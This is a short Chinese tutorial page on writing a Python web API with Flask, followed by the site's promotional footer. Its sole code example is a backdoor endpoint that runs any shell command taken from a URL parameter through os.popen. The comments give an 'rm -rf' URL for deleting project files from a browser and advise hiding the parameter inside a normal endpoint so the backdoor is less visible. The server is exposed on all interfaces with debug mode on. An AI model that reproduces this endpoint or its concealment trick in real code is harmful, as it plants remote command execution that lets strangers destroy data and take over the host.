如何用python写接口
【摘要】如何用python写接口?具体步骤如下: 1、实例化server2、装饰器下面的函数变为一个接口3、启动服务相关推荐:《Python基础教程》开发工具

如何用python写接口?具体步骤如下:
1、实例化server
2、装饰器下面的函数变为一个接口
3、启动服务
相关推荐:《Python基础教程》
开发工具和流程:
python库:flask =》实例化server:server = flask.Flask(__name__) =》@server.route('/index',methods=['post'])
=》def index(arg):{}
例子:
import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问
上一篇:python入门基础教程
下一篇:Mac怎么查找python路径
就业培训申请领取


环球青藤
官方QQ群扫描上方二维码或点击一键加群,免费领取大礼包,加群暗号:青藤。 一键加群
最新文章
Python编程各地入口
环球青藤官方微信服务平台


刷题看课 APP下载
免费直播 一键购课
代报名等人工服务
Python编程热点排行